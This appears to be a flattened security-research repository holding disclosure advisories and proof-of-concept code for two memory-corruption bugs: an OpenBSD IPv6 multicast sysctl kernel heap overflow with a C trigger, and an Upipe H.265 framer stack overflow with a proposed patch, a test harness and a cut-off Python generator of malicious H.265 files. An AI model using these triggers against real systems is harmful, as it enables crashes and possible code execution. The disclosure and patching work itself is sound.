├── README.md ├── Upipe_H265_Framer_Stack_Buffer_Overflow ├── test_h265_file ├── malicious_h265_chain.h265 ├── Makefile.test ├── vulnerability-prompt-glm46.txt ├── Advisory.txt ├── test_h265_file.c └── fuzz_malicious_chain.py └── OpenBSD_IPV6_Multicast_Forwarding_Cache_Sysctl_Overflow ├── openbsd_mfc6_sysctl_overflow.txt └── openbsd_mfc6_sysctl_overflow.c /README.md: -------------------------------------------------------------------------------- 1 | Repository contaning advisories, proof-of-concepts and exploits 2 | -------------------------------------------------------------------------------- /Upipe_H265_Framer_Stack_Buffer_Overflow/test_h265_file: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ortegaalfredo/vulns-ai/HEAD/Upipe_H265_Framer_Stack_Buffer_Overflow/test_h265_file -------------------------------------------------------------------------------- /Upipe_H265_Framer_Stack_Buffer_Overflow/malicious_h265_chain.h265: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ortegaalfredo/vulns-ai/HEAD/Upipe_H265_Framer_Stack_Buffer_Overflow/malicious_h265_chain.h265 -------------------------------------------------------------------------------- /Upipe_H265_Framer_Stack_Buffer_Overflow/Makefile.test: -------------------------------------------------------------------------------- 1 | CC = gcc 2 | CFLAGS = -Wall -Wextra -g -O2 -std=c99 3 | INCLUDES = -I../../include -I../../include/upipe -I../../include/upipe-framers 4 | LIBS = .libs/libupipe_framers.a ../../lib/upipe/.libs/libupipe.a 5 | 6 | TARGET = test_h265_file 7 | SOURCE = test_h265_file.c 8 | 9 | all: $(TARGET) 10 | 11 | $(TARGET): $(SOURCE) 12 | $(CC) $(CFLAGS) $(INCLUDES) -o $(TARGET) $(SOURCE) $(LIBS) -lpthread 13 | 14 | clean: 15 | rm -f $(TARGET) 16 | 17 | .PHONY: all clean -------------------------------------------------------------------------------- /OpenBSD_IPV6_Multicast_Forwarding_Cache_Sysctl_Overflow/openbsd_mfc6_sysctl_overflow.txt: -------------------------------------------------------------------------------- 1 | OpenBSD's IPv6 Multicast Forwarding Cache Sysctl kernel buffer overflow 2 | ----------------------------------------------------------------------- 3 | 4 | Title: OpenBSD's IPv6 Multicast Forwarding Cache Sysctl kernel buffer overflow 5 | Date: 01-04-2024 6 | Class: Buffer Overflow 7 | Remotely Exploitable: No 8 | Locally Exploitable: Yes 9 | Advisory URL: https://github.com/ortegaalfredo/vulns-ai/blob/main/openbsd_mfc6_sysctl_overflow.txt 10 | Proof-of-Concept: https://github.com/ortegaalfredo/vulns-ai/blob/main/openbsd_mfc6_sysctl_overflow.c 11 | 12 | Vulnerability Description: 13 | -------------------------- 14 | 15 | The IPV6CTL_MRTMFC sysctl is used to retrieve Multicast forwarding cache information from the kerner. 16 | 17 | This sysctl is implemented in the following function at ip6_mroute.c:443 18 | 19 | ```c 20 | int 21 | mrt6_sysctl_mfc(void *oldp, size_t *oldlenp) 22 | { 23 | struct mf6csysctlarg msa 24 | if (oldp != NULL && *oldlenp > MAXPHYS) 25 | return EINVAL; 26 | if (oldp != NULL) 27 | msa.ms6a_minfos = malloc(*oldlenp, M_TEMP, M_WAITOK | M_ZERO); 28 | . 29 | . 30 | . 31 | for (rtableid = 0; rtableid <= RT_TABLEID_MAX; rtableid++) { 32 | rtable_walk(rtableid, AF_INET6, NULL, mrt6_rtwalk_mf6csysctl, 33 | &msa); 34 | } 35 | (error = copyout(msa.ms6a_minfos, oldp, msa.ms6a_needed)) != 0) { 36 | . 37 | . 38 | . 39 | } 40 | ``` 41 | 42 | The problem lies in the kernel's failure to verify if the length of the user-mode buffer (oldlenp) matches the necessary structure (ms6a_infos). If the allocated buffer size is smaller than 120 bytes, there will be a heap buffer overflow within the kernel during the execution of the mrt6_rtwalk_mf6csysctl() function. This occurs because the function attempts to populate the insufficiently sized ms6a_minfos structure, which results in overwriting the kernel heap control structures. Since a malicious user controls this structure, they might exploit this situation to execute arbitrary code in the kernel's context. This flaw presents a privilege escalation vulnerability since no root privileges are required to invoke this sysctl, enabling non-privileged users to gain kernel execution. 43 | 44 | Preconditions 45 | ------------- 46 | While the vulnerability is caused by a sysctl that any non-privileged user can call, a Multicast Forwarding Cache entry must be present in the system, and this usually requires root privileges. 47 | 48 | Systems vulnerable 49 | ------------------ 50 | Introduced at commit 534e21c9f6bf 2017-05-16 51 | OpenBSD 6.2 to 7.4 are vulnerable 52 | 53 | 54 | -------------------------------------------------------------------------------- /OpenBSD_IPV6_Multicast_Forwarding_Cache_Sysctl_Overflow/openbsd_mfc6_sysctl_overflow.c: -------------------------------------------------------------------------------- 1 | // --- IPV6 Multicast Forwarding Cache Sysctl buffer overflow trigger 2 | // --- Alfredo Ortega @ortegaalfredo 3 | // --- V 01042024 4 | // Note: This trigger requires root access to add MFC rules and massage the heap 5 | // but the overflow itself is located at the IPV6CTL_MRTMFC sysctl that do NOT require root privileges. 6 | // 7 | #include 8 | #include 9 | #include 10 | 11 | #include 12 | #include 13 | #include 14 | #include 15 | 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | 23 | void __dead usage(void); 24 | 25 | void __dead 26 | usage(void) 27 | { 28 | fprintf(stderr, 29 | "IPV6 Multicast Forwarding Cache Sysctl buffer overflow trigger - usage:\n" 30 | "sysctl_mfc6 -i ifname -o outname\n" 31 | " -i ifname multicast interface address\n" 32 | " -o outname outgoing interface address\n"); 33 | exit(2); 34 | } 35 | 36 | /* This value is correct for Openbsd 7.5 */ 37 | #define MFC6SIZE 120 38 | void crash(void) { 39 | int mib[4]; 40 | int r=0; 41 | int q=0,t; 42 | unsigned char *buf; 43 | /* Set up the MIB (Management Information Base) array */ 44 | mib[0] = CTL_NET; 45 | mib[1] = PF_INET6; 46 | mib[2] = IPPROTO_IPV6; 47 | mib[3] = IPV6CTL_MRTMFC; 48 | 49 | for(q=1;q idx ? 0 : idx - delta_idx; 37 | int num_delta_pocs = num_negative_pics[ref_idx] + 38 | num_positive_pics[ref_idx]; 39 | if (num_delta_pocs > max) 40 | return false; 41 | bool used_by_curr_pic_flag[num_delta_pocs + 1]; 42 | bool use_delta_flag[num_delta_pocs + 1]; 43 | for (int i = 0; i <= num_delta_pocs; i++) { 44 | upipe_h26xf_stream_fill_bits(s, 1); 45 | used_by_curr_pic_flag[i] = ubuf_block_stream_show_bits(s, 1); 46 | ubuf_block_stream_skip_bits(s, 1); 47 | if (!used_by_curr_pic_flag[i]) { 48 | upipe_h26xf_stream_fill_bits(s, 1); 49 | use_delta_flag[i] = ubuf_block_stream_show_bits(s, 1); 50 | ubuf_block_stream_skip_bits(s, 1); 51 | } else { 52 | use_delta_flag[i] = 1; 53 | } 54 | } 55 | 56 | int i; 57 | int *delta_poc_s0 = delta_poc[idx]; 58 | bool *used_by_curr_pic_s0 = used_by_curr_pic[idx]; 59 | 60 | i = 0; 61 | for (int j = num_positive_pics[ref_idx] - 1; j >= 0; j--) { 62 | int k = num_negative_pics[ref_idx] + j; 63 | int d_poc = delta_poc[ref_idx][k] + delta_rps; 64 | if (d_poc < 0 && use_delta_flag[k]) { 65 | delta_poc_s0[i] = d_poc; 66 | used_by_curr_pic_s0[i++] = used_by_curr_pic_flag[k]; 67 | } 68 | } 69 | if (delta_rps < 0 && use_delta_flag[num_delta_pocs]) { 70 | delta_poc_s0[i] = delta_rps; 71 | used_by_curr_pic_s0[i++] = used_by_curr_pic_flag[num_delta_pocs]; 72 | } 73 | for (int j = 0; j < num_negative_pics[ref_idx]; j++) { 74 | int d_poc = delta_poc[ref_idx][j] + delta_rps; 75 | if (d_poc < 0 && use_delta_flag[j]) { 76 | delta_poc_s0[i] = d_poc; 77 | used_by_curr_pic_s0[i++] = used_by_curr_pic_flag[j]; 78 | } 79 | } 80 | num_negative_pics[idx] = i; 81 | 82 | int *delta_poc_s1 = delta_poc[idx] + i; 83 | bool *used_by_curr_pic_s1 = used_by_curr_pic[idx] + i; 84 | 85 | i = 0; 86 | for (int j = num_negative_pics[ref_idx] - 1; j >= 0; j--) { 87 | int d_poc = delta_poc[ref_idx][j] + delta_rps; 88 | if (d_poc > 0 && use_delta_flag[j]) { 89 | delta_poc_s1[i] = d_poc; 90 | used_by_curr_pic_s1[i++] = used_by_curr_pic_flag[j]; 91 | } 92 | } 93 | if (delta_rps > 0 && use_delta_flag[num_delta_pocs]) { 94 | delta_poc_s1[i] = delta_rps; 95 | used_by_curr_pic_s1[i++] = used_by_curr_pic_flag[num_delta_pocs]; 96 | } 97 | for (int j = 0; j < num_positive_pics[ref_idx]; j++) { 98 | int k = num_negative_pics[ref_idx] + j; 99 | int d_poc = delta_poc[ref_idx][k] + delta_rps; 100 | if (d_poc > 0 && use_delta_flag[k]) { 101 | delta_poc_s1[i] = d_poc; 102 | used_by_curr_pic_s1[i++] = used_by_curr_pic_flag[k]; 103 | } 104 | } 105 | num_positive_pics[idx] = i; 106 | 107 | } else { 108 | num_negative_pics[idx] = upipe_h26xf_stream_ue(s); 109 | if (num_negative_pics[idx] > max_dec_pic_buffering_1) 110 | return false; 111 | num_positive_pics[idx] = upipe_h26xf_stream_ue(s); 112 | if (num_positive_pics[idx] > max_dec_pic_buffering_1) 113 | return false; 114 | if (num_positive_pics[idx] + num_negative_pics[idx] > 115 | max_dec_pic_buffering_1) 116 | return false; 117 | for (int i = 0, d_poc = 0; i < num_negative_pics[idx]; i++) { 118 | d_poc -= upipe_h26xf_stream_ue(s) + 1; 119 | delta_poc[idx][i] = d_poc; 120 | upipe_h26xf_stream_fill_bits(s, 1); 121 | used_by_curr_pic[idx][i] = ubuf_block_stream_show_bits(s, 1); 122 | ubuf_block_stream_skip_bits(s, 1); 123 | } 124 | for (int i = 0, d_poc = 0; i < num_positive_pics[idx]; i++) { 125 | int j = num_negative_pics[idx] + i; 126 | d_poc += upipe_h26xf_stream_ue(s) + 1; 127 | delta_poc[idx][j] = d_poc; 128 | upipe_h26xf_stream_fill_bits(s, 1); 129 | used_by_curr_pic[idx][j] = ubuf_block_stream_show_bits(s, 1); 130 | ubuf_block_stream_skip_bits(s, 1); 131 | } 132 | } 133 | return true; 134 | } 135 | -------------------------------------------------------------------------------- /Upipe_H265_Framer_Stack_Buffer_Overflow/Advisory.txt: -------------------------------------------------------------------------------- 1 | ---------------------------------------------------------------------- 2 | UPIPE H.265 FRAMER SHORT-TERM REF PIC SET BUFFER OVERFLOW 3 | ---------------------------------------------------------------------- 4 | 5 | Title: Stack-based buffer overflow in `upipe_h265f_stream_parse_short_term_ref_pic_set` 6 | Product: Upipe (upipe.org) 7 | Affected Component: H.265 framer (`upipe_h265_framer.c`), Upipe.org, Open Broadcast Systems 8 | Impact: Crash, potential RCE 9 | Severity: High 10 | Status: Patch Available (proposed below) 11 | 12 | ---------------------------------------------------------------------- 13 | SUMMARY 14 | ---------------------------------------------------------------------- 15 | 16 | A stack-based buffer overflow exists in the Upipe H.265 framer during 17 | parsing of Short-Term Reference Picture Sets (STRPS). 18 | When operating in prediction mode, the function: 19 | 20 | upipe_h265f_stream_parse_short_term_ref_pic_set() 21 | 22 | derives new `num_negative_pics[idx]` and `num_positive_pics[idx]` 23 | values from a reference set. However, unlike the non-prediction path, 24 | the prediction path performs **no bounds check** to ensure that: 25 | 26 | num_negative_pics[idx] + num_positive_pics[idx] 27 | <= max_dec_pic_buffering_1 28 | 29 | As a result, the code may write more entries into: 30 | 31 | delta_poc[idx][...] 32 | used_by_curr_pic[idx][...] 33 | 34 | than the allocated size `max_dec_pic_buffering_1`, producing a classic 35 | stack-based buffer overflow. 36 | 37 | 38 | ---------------------------------------------------------------------- 39 | IMPACT 40 | ---------------------------------------------------------------------- 41 | 42 | An attacker supplying crafted H.265 NAL units may trigger memory 43 | corruption, application crash, or potentially arbitrary code execution 44 | depending on environment and compiler protections. 45 | 46 | ---------------------------------------------------------------------- 47 | AFFECTED VERSIONS 48 | ---------------------------------------------------------------------- 49 | 50 | All of upipe from aa4090015ccbc3cd0ab30df8c5c3a615b6fe0acd (2018) 51 | up to the latest commit. 52 | 53 | This report is based on the current commit available, 54 | commit 640187732d49c014c634e6c8d87c74ffe36b5ef1 55 | 56 | ---------------------------------------------------------------------- 57 | ROOT CAUSE 58 | ---------------------------------------------------------------------- 59 | 60 | The prediction-mode path in the vulnerable function updates output 61 | counters based on reference values and delta-RPS logic but omits the 62 | final constraint check enforced in the non-prediction path. This allows 63 | an attacker to force the internal counters to exceed the array bounds 64 | of stack-allocated buffers. 65 | 66 | 67 | the following validation was added to limit the number of delta POCs: 68 | 69 | int num_delta_pocs = num_negative_pics[ref_idx] + num_positive_pics[ref_idx]; 70 | +if (num_delta_pocs > max) 71 | + return false; 72 | 73 | Because delta_pocs are used to index several stack arrays, an excessive value 74 | will cause a stack-based buffer overflow and over-read. 75 | 76 | While this check attempts to prevent excessive delta POC values, it is 77 | not enough to fully mitigate the vulnerability. Specifically, the code 78 | does not consider the bounds of individual arrays for delta_poc[idx] 79 | and used_by_curr_pic[idx], allowing an attacker to still bypass this 80 | validation and overflow stack buffers when the total 81 | num_negative_pics[idx] + num_positive_pics[idx] exceeds the allocated 82 | size of max_dec_pic_buffering_1. 83 | 84 | We can see that in this code snippet: 85 | 86 | if (delta_rps > 0 && use_delta_flag[num_delta_pocs]) { 87 | delta_poc_s1[i] = delta_rps; 88 | used_by_curr_pic_s1[i++] = used_by_curr_pic_flag[num_delta_pocs]; 89 | } 90 | 91 | The key is that the delta_rps value can add an additional entry (i++) 92 | beyond what's in the reference set, causing the sum (stored in variable i) 93 | to exceed max_dec_pic_buffering_1. 94 | As the size of the used_by_curr_pic_s1[] array is max_dec_pic_buffering_1, 95 | the line "used_by_current_pic_s1[i++] = ..." causes a stack-based buffer overflow. 96 | This overflow can be used to modify other stack variables, possibly causing 97 | code execution depending on compiler flags, platform type and variable ordering. 98 | 99 | ---------------------------------------------------------------------- 100 | PROPOSED PATCH (MINIMAL FIX) 101 | ---------------------------------------------------------------------- 102 | 103 | Add post-prediction bounds validation before writing to `delta_poc` 104 | and `used_by_curr_pic` arrays. 105 | 106 | Apply after all prediction-mode calculations but *before* returning: 107 | 108 | --- upipe_h265_framer.c 109 | +++ upipe_h265_framer.c 110 | @@ -605,6 +605,15 @@ 111 | bool used_by_curr_pic_flag[num_delta_pocs + 1]; 112 | bool use_delta_flag[num_delta_pocs + 1]; 113 | for (int i = 0; i <= num_delta_pocs; i++) { 114 | upipe_h26xf_stream_fill_bits(s, 1); 115 | used_by_curr_pic_flag[i] = ubuf_block_stream_show_bits(s, 1); 116 | ubuf_block_stream_skip_bits(s, 1); 117 | if (!used_by_curr_pic_flag[i]) { 118 | upipe_h26xf_stream_fill_bits(s, 1); 119 | use_delta_flag[i] = ubuf_block_stream_show_bits(s, 1); 120 | ubuf_block_stream_skip_bits(s, 1); 121 | } else { 122 | use_delta_flag[i] = 1; 123 | } 124 | } 125 | 126 | + /* NEW CHECK: enforce decoder limits */ 127 | + if (num_negative_pics[idx] > max_dec_pic_buffering_1 || 128 | + num_positive_pics[idx] > max_dec_pic_buffering_1 || 129 | + (num_negative_pics[idx] + num_positive_pics[idx]) > 130 | + max_dec_pic_buffering_1) { 131 | + return false; 132 | + } 133 | 134 | int *delta_poc_s0 = delta_poc[idx]; 135 | bool *used_by_curr_pic_s0 = used_by_curr_pic[idx]; 136 | 137 | /* existing logic continues... */ 138 | 139 | -------------------------------------------------------------------------------- /Upipe_H265_Framer_Stack_Buffer_Overflow/test_h265_file.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Simple test program that uses the upipe library to process an H.265 file. 3 | * This will naturally trigger upipe_h265f_stream_parse_short_term_ref_pic_set() 4 | * when the SPS contains short-term reference picture sets. 5 | */ 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | /* Include upipe headers */ 16 | #include "../../include/upipe/ubase.h" 17 | #include "../../include/upipe/upipe.h" 18 | #include "../../include/upipe/uref.h" 19 | #include "../../include/upipe/uref_std.h" 20 | #include "../../include/upipe/uprobe.h" 21 | #include "../../include/upipe/uprobe_prefix.h" 22 | #include "../../include/upipe/uref_block.h" 23 | #include "../../include/upipe/ubuf.h" 24 | #include "../../include/upipe/ubuf_block_mem.h" 25 | #include "../../include/upipe/uref_block_flow.h" 26 | #include "../../include/upipe/udict.h" 27 | #include "../../include/upipe/udict_inline.h" 28 | #include "../../include/upipe/umem.h" 29 | #include "../../include/upipe/umem_pool.h" 30 | #include "../../include/upipe-framers/upipe_h265_framer.h" 31 | 32 | /* Simple probe to capture events */ 33 | static int catch(struct uprobe *uprobe, struct upipe *upipe, 34 | int event, va_list args) 35 | { 36 | switch (event) { 37 | default: 38 | break; 39 | } 40 | return UBASE_ERR_NONE; 41 | } 42 | 43 | /* Simple output pipe that just discards data */ 44 | static void output_helper(struct upipe *upipe, struct uref *uref, void *unused) 45 | { 46 | printf("Received processed frame\n"); 47 | uref_free(uref); 48 | } 49 | 50 | int main(int argc, char **argv) 51 | { 52 | if (argc != 2) { 53 | printf("Usage: %s \n", argv[0]); 54 | return 1; 55 | } 56 | 57 | printf("Processing H.265 file: %s\n", argv[1]); 58 | 59 | /* Initialize upipe components */ 60 | struct uprobe uprobe; 61 | uprobe_init(&uprobe, catch, NULL); 62 | 63 | /* Define pool sizes - must be <= UINT16_MAX */ 64 | #define UREF_POOL_DEPTH 20 65 | #define UDICT_POOL_DEPTH 20 66 | #define UMEM_POOL_DEPTH 20 67 | 68 | /* Initialize umem manager first (needed by udict) */ 69 | struct umem_mgr *umem_mgr = umem_pool_mgr_alloc_simple(UMEM_POOL_DEPTH); 70 | if (!umem_mgr) { 71 | printf("Failed to create umem manager\n"); 72 | return 1; 73 | } 74 | 75 | /* Initialize udict manager */ 76 | struct udict_mgr *udict_mgr = udict_inline_mgr_alloc(UDICT_POOL_DEPTH, umem_mgr, -1, -1); 77 | if (!udict_mgr) { 78 | printf("Failed to create udict manager\n"); 79 | umem_mgr_release(umem_mgr); 80 | return 1; 81 | } 82 | 83 | /* Initialize uref manager */ 84 | struct uref_mgr *uref_mgr = uref_std_mgr_alloc(UREF_POOL_DEPTH, udict_mgr, 0); 85 | if (!uref_mgr) { 86 | printf("Failed to create uref manager\n"); 87 | udict_mgr_release(udict_mgr); 88 | umem_mgr_release(umem_mgr); 89 | return 1; 90 | } 91 | 92 | /* Initialize ubuf manager */ 93 | struct ubuf_mgr *ubuf_mgr = ubuf_block_mem_mgr_alloc(UREF_POOL_DEPTH, UREF_POOL_DEPTH, umem_mgr, -1, 0, -1, 0); 94 | if (!ubuf_mgr) { 95 | printf("Failed to create ubuf manager\n"); 96 | uref_mgr_release(uref_mgr); 97 | udict_mgr_release(udict_mgr); 98 | umem_mgr_release(umem_mgr); 99 | return 1; 100 | } 101 | 102 | /* Create H.265 framer */ 103 | struct upipe_mgr *upipe_h265f_mgr = upipe_h265f_mgr_alloc(); 104 | if (!upipe_h265f_mgr) { 105 | printf("Failed to create H.265 framer manager\n"); 106 | ubuf_mgr_release(ubuf_mgr); 107 | uref_mgr_release(uref_mgr); 108 | return 1; 109 | } 110 | 111 | struct upipe *h265f = upipe_void_alloc(upipe_h265f_mgr, 112 | uprobe_pfx_alloc(uprobe_use(&uprobe), UPROBE_LOG_DEBUG, 113 | "h265f")); 114 | if (!h265f) { 115 | printf("Failed to create H.265 framer\n"); 116 | upipe_mgr_release(upipe_h265f_mgr); 117 | ubuf_mgr_release(ubuf_mgr); 118 | uref_mgr_release(uref_mgr); 119 | return 1; 120 | } 121 | 122 | /* Set up flow definition */ 123 | struct uref *flow_def = uref_block_flow_alloc_def(uref_mgr, "h265.h265"); 124 | if (!flow_def) { 125 | printf("Failed to create flow definition\n"); 126 | upipe_release(h265f); 127 | upipe_mgr_release(upipe_h265f_mgr); 128 | ubuf_mgr_release(ubuf_mgr); 129 | uref_mgr_release(uref_mgr); 130 | return 1; 131 | } 132 | 133 | upipe_input(h265f, flow_def, NULL); 134 | 135 | /* Open the H.265 file */ 136 | int fd = open(argv[1], O_RDONLY); 137 | if (fd < 0) { 138 | printf("Failed to open file: %s\n", argv[1]); 139 | uref_free(flow_def); 140 | upipe_release(h265f); 141 | upipe_mgr_release(upipe_h265f_mgr); 142 | ubuf_mgr_release(ubuf_mgr); 143 | uref_mgr_release(uref_mgr); 144 | return 1; 145 | } 146 | 147 | /* Read file and feed to H.265 framer */ 148 | uint8_t buffer[4096]; 149 | ssize_t bytes_read; 150 | 151 | while ((bytes_read = read(fd, buffer, sizeof(buffer))) > 0) { 152 | struct uref *uref = uref_block_alloc(uref_mgr, ubuf_mgr, bytes_read); 153 | if (!uref) { 154 | printf("Failed to allocate uref\n"); 155 | break; 156 | } 157 | 158 | uint8_t *buf; 159 | int size = -1; 160 | if (ubase_check(uref_block_write(uref, 0, &size, &buf))) { 161 | memcpy(buf, buffer, bytes_read); 162 | uref_block_unmap(uref, 0); 163 | 164 | /* Feed to H.265 framer - this will trigger the parsing */ 165 | printf("Feeding %zd bytes to H.265 framer\n", bytes_read); 166 | upipe_input(h265f, uref, NULL); 167 | } else { 168 | uref_free(uref); 169 | } 170 | } 171 | 172 | close(fd); 173 | 174 | /* Clean up */ 175 | upipe_release(h265f); 176 | upipe_mgr_release(upipe_h265f_mgr); 177 | ubuf_mgr_release(ubuf_mgr); 178 | umem_mgr_release(umem_mgr); 179 | uref_mgr_release(uref_mgr); 180 | udict_mgr_release(udict_mgr); 181 | 182 | printf("Processing complete\n"); 183 | return 0; 184 | } -------------------------------------------------------------------------------- /Upipe_H265_Framer_Stack_Buffer_Overflow/fuzz_malicious_chain.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | """ 3 | Create H.265 file with malicious SPS exploiting short-term reference picture sets. 4 | We already know that we can overflow a buffer in the stack, but we need to fuzz the different stack overflow combinations to find one that produces a write. 5 | Chain multiple prediction levels to exceed stack-allocated buffers of size max_dec_pic_buffering_1 6 | Based on proper H.265 structure 7 | """ 8 | 9 | import struct 10 | import os 11 | 12 | num_negative = 0 13 | num_positive = 0 14 | max_buffering=0 15 | nsets=0 16 | class BitstreamWriter: 17 | """Bit-level writer for H.265 bitstream construction""" 18 | 19 | def __init__(self): 20 | self.data = bytearray() 21 | self.current_byte = 0 22 | self.bit_position = 0 23 | 24 | def write_bit(self, bit): 25 | """Write a single bit""" 26 | if bit: 27 | self.current_byte |= (1 << (7 - self.bit_position)) 28 | self.bit_position += 1 29 | 30 | if self.bit_position == 8: 31 | self.data.append(self.current_byte) 32 | self.current_byte = 0 33 | self.bit_position = 0 34 | 35 | def write_bits(self, value, num_bits): 36 | """Write multiple bits""" 37 | for i in range(num_bits - 1, -1, -1): 38 | bit = (value >> i) & 1 39 | self.write_bit(bit) 40 | 41 | def write_ue(self, value): 42 | """Write unsigned exp-golomb coded value""" 43 | if value == 0: 44 | self.write_bit(1) 45 | return 46 | 47 | # Calculate number of leading zeros 48 | value_plus_1 = value + 1 49 | num_bits = value_plus_1.bit_length() 50 | leading_zeros = num_bits - 1 51 | 52 | # Write leading zeros 53 | for _ in range(leading_zeros): 54 | self.write_bit(0) 55 | 56 | # Write the value with leading 1 57 | self.write_bits(value_plus_1, num_bits) 58 | 59 | def write_se(self, value): 60 | """Write signed exp-golomb coded value""" 61 | if value <= 0: 62 | mapped = -2 * value 63 | else: 64 | mapped = 2 * value - 1 65 | self.write_ue(mapped) 66 | 67 | def byte_align(self): 68 | """Align to byte boundary with rbsp_stop_one_bit""" 69 | if self.bit_position != 0: 70 | self.write_bit(1) # rbsp_stop_one_bit 71 | while self.bit_position != 0: 72 | self.write_bit(0) # rbsp_alignment_zero_bit 73 | 74 | def get_bytes(self): 75 | """Get the final byte array""" 76 | result = bytearray(self.data) 77 | if self.bit_position != 0: 78 | result.append(self.current_byte) 79 | return bytes(result) 80 | 81 | def emulation_prevention(data): 82 | """Add emulation prevention bytes (0x03) after 0x000000, 0x000001, 0x000002, 0x000003""" 83 | result = bytearray() 84 | zero_count = 0 85 | 86 | for byte in data: 87 | if zero_count == 2 and byte <= 0x03: 88 | result.append(0x03) # Emulation prevention byte 89 | zero_count = 0 90 | 91 | result.append(byte) 92 | 93 | if byte == 0x00: 94 | zero_count += 1 95 | else: 96 | zero_count = 0 97 | 98 | return bytes(result) 99 | 100 | def create_h265_with_malicious_strps(): 101 | """Create H.265 file with malicious SPS""" 102 | 103 | # H.265 NAL unit types 104 | NAL_TYPE_VPS = 32 105 | NAL_TYPE_SPS = 33 106 | NAL_TYPE_PPS = 34 107 | NAL_TYPE_IDR_W_RADL = 19 108 | 109 | # === VPS (Video Parameter Set) - NAL type 32 === 110 | vps_data = create_vps() 111 | 112 | # === SPS (Sequence Parameter Set) - NAL type 33 === 113 | sps_data = create_malicious_sps() 114 | 115 | # === PPS (Picture Parameter Set) - NAL type 34 === 116 | pps_data = create_pps() 117 | 118 | # === IDR Slice - NAL type 19 === 119 | idr_data = create_idr_slice() 120 | 121 | # Create the complete H.265 file with Annex B format 122 | h265_data = bytearray() 123 | 124 | # Add VPS 125 | h265_data.extend([0x00, 0x00, 0x00, 0x01]) # Start code 126 | h265_data.extend(create_nal_header(NAL_TYPE_VPS, 0, 1)) 127 | h265_data.extend(vps_data) 128 | 129 | # Add SPS 130 | h265_data.extend([0x00, 0x00, 0x00, 0x01]) # Start code 131 | h265_data.extend(create_nal_header(NAL_TYPE_SPS, 0, 1)) 132 | h265_data.extend(sps_data) 133 | 134 | # Add PPS 135 | h265_data.extend([0x00, 0x00, 0x00, 0x01]) # Start code 136 | h265_data.extend(create_nal_header(NAL_TYPE_PPS, 0, 1)) 137 | h265_data.extend(pps_data) 138 | 139 | # Add IDR slice 140 | h265_data.extend([0x00, 0x00, 0x00, 0x01]) # Start code 141 | h265_data.extend(create_nal_header(NAL_TYPE_IDR_W_RADL, 0, 1)) 142 | h265_data.extend(idr_data) 143 | 144 | return bytes(h265_data) 145 | 146 | def create_nal_header(nal_type, nuh_layer_id, nuh_temporal_id_plus1): 147 | """Create proper 2-byte H.265 NAL unit header""" 148 | # Byte 1: forbidden_zero_bit(1) + nal_unit_type(6) + nuh_layer_id_MSB(1) 149 | byte1 = (0 << 7) | (nal_type << 1) | ((nuh_layer_id >> 5) & 0x01) 150 | 151 | # Byte 2: nuh_layer_id_LSB(5) + nuh_temporal_id_plus1(3) 152 | byte2 = ((nuh_layer_id & 0x1F) << 3) | (nuh_temporal_id_plus1 & 0x07) 153 | 154 | return bytes([byte1, byte2]) 155 | 156 | def create_vps(): 157 | """Create minimal VPS""" 158 | bs = BitstreamWriter() 159 | 160 | # vps_video_parameter_set_id 161 | bs.write_bits(0, 4) # vps_id = 0 162 | 163 | # vps_base_layer_internal_flag 164 | bs.write_bit(1) 165 | 166 | # vps_base_layer_available_flag 167 | bs.write_bit(1) 168 | 169 | # vps_max_layers_minus1 170 | bs.write_bits(0, 6) # 0 layers 171 | 172 | # vps_max_sub_layers_minus1 173 | bs.write_bits(0, 3) # 1 sub-layer 174 | 175 | # vps_temporal_id_nesting_flag 176 | bs.write_bit(1) 177 | 178 | # vps_reserved_0xffff_16bits 179 | bs.write_bits(0xFFFF, 16) 180 | 181 | # profile_tier_level 182 | write_profile_tier_level(bs, True, 0) 183 | 184 | # vps_sub_layer_ordering_info_present_flag 185 | bs.write_bit(1) 186 | 187 | # For each sub-layer (just 0) 188 | bs.write_ue(1) # vps_max_dec_pic_buffering_minus1[0] 189 | bs.write_ue(0) # vps_max_num_reorder_pics[0] 190 | bs.write_ue(0) # vps_max_latency_increase_plus1[0] 191 | 192 | # vps_max_layer_id 193 | bs.write_bits(0, 6) 194 | 195 | # vps_num_layer_sets_minus1 196 | bs.write_ue(0) 197 | 198 | # vps_timing_info_present_flag 199 | bs.write_bit(0) 200 | 201 | # vps_extension_flag 202 | bs.write_bit(0) 203 | 204 | bs.byte_align() 205 | return emulation_prevention(bs.get_bytes()) 206 | 207 | def write_profile_tier_level(bs, profile_present_flag, max_sub_layers_minus1): 208 | """Write profile_tier_level structure""" 209 | if profile_present_flag: 210 | # general_profile_space 211 | bs.write_bits(0, 2) 212 | 213 | # general_tier_flag 214 | bs.write_bit(0) 215 | 216 | # general_profile_idc (1 = Main profile) 217 | bs.write_bits(1, 5) 218 | 219 | # general_profile_compatibility_flag[32] 220 | for i in range(32): 221 | bs.write_bit(1 if i == 1 else 0) # Compatible with Main profile 222 | 223 | # general_progressive_source_flag 224 | bs.write_bit(1) 225 | 226 | # general_interlaced_source_flag 227 | bs.write_bit(0) 228 | 229 | # general_non_packed_constraint_flag 230 | bs.write_bit(1) 231 | 232 | # general_frame_only_constraint_flag 233 | bs.write_bit(1) 234 | 235 | # 44 reserved zero bits 236 | for _ in range(44): 237 | bs.write_bit(0) 238 | 239 | # general_level_idc (93 = Level 3.1) 240 | bs.write_bits(93, 8) 241 | 242 | # sub_layer_profile_present_flag and sub_layer_level_present_flag 243 | for i in range(max_sub_layers_minus1): 244 | bs.write_bit(0) # sub_layer_profile_present_flag[i] 245 | bs.write_bit(0) # sub_layer_level_present_flag[i] 246 | 247 | def create_malicious_sps(): 248 | """Create SPS with malicious short-term reference picture sets""" 249 | bs = BitstreamWriter() 250 | 251 | # sps_video_parameter_set_id 252 | bs.write_bits(0, 4) # vps_id = 0 253 | 254 | # sps_max_sub_layers_minus1 255 | bs.write_bits(0, 3) # 1 sub-layer 256 | 257 | # sps_temporal_id_nesting_flag 258 | bs.write_bit(1) 259 | 260 | # profile_tier_level 261 | write_profile_tier_level(bs, True, 0) 262 | 263 | # sps_seq_parameter_set_id 264 | bs.write_ue(0) 265 | 266 | # chroma_format_idc (1 = 4:2:0) 267 | bs.write_ue(1) 268 | 269 | # pic_width_in_luma_samples 270 | bs.write_ue(1920) 271 | 272 | # pic_height_in_luma_samples 273 | bs.write_ue(1080) 274 | 275 